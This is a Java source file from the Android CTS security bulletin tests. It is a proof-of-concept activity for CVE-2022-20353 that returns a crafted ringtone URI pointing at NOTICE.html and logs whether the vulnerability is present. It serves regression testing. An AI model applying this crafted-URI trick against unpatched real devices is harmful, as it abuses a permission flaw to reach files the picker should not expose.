summaryrefslogtreecommitdiff
path: root/hostsidetests/securitybulletin/test-apps/CVE-2022-20353/src/android/security/cts/CVE_2022_20353/PocActivity.java
blob: 977e647d2e26bc2be5f29e835d867a827b00678a (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/*
 * Copyright (C) 2022 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package android.security.cts.CVE_2022_20353;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.media.RingtoneManager;
import android.net.Uri;
import android.os.Bundle;

/* PocActivity is required in this test since it is required that CTS PoC app is selected when */
/* choosing an app for setting default ringtone. RingtonePicker appears due to actions done in */
/* DeviceTest.                                                                                 */
public class PocActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        try {
            super.onCreate(savedInstanceState);
            Intent intent = new Intent();
            /* set NOTICE.html file uri as EXTRA_RINGTONE_PICKED_URI which sets NOTICE.html as */
            /* default ringtone if vulnerability is present                                    */
            intent.putExtra(RingtoneManager.EXTRA_RINGTONE_PICKED_URI,
                    Uri.parse(getString(R.string.noticeUri)));
            setResult(Activity.RESULT_OK, intent);
            finish();
            sendTestResult(getResources().getInteger(R.integer.success), "");
        } catch (Exception e) {
            sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
        }
    }

    void sendTestResult(int result, String message) {
        try {
            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
                    Context.MODE_PRIVATE);
            SharedPreferences.Editor edit = sh.edit();
            edit.putInt(getString(R.string.resultKey), result);
            edit.putString(getString(R.string.messageKey), message);
            edit.commit();
        } catch (Exception e) {
            // ignore exception here
        }
    }

}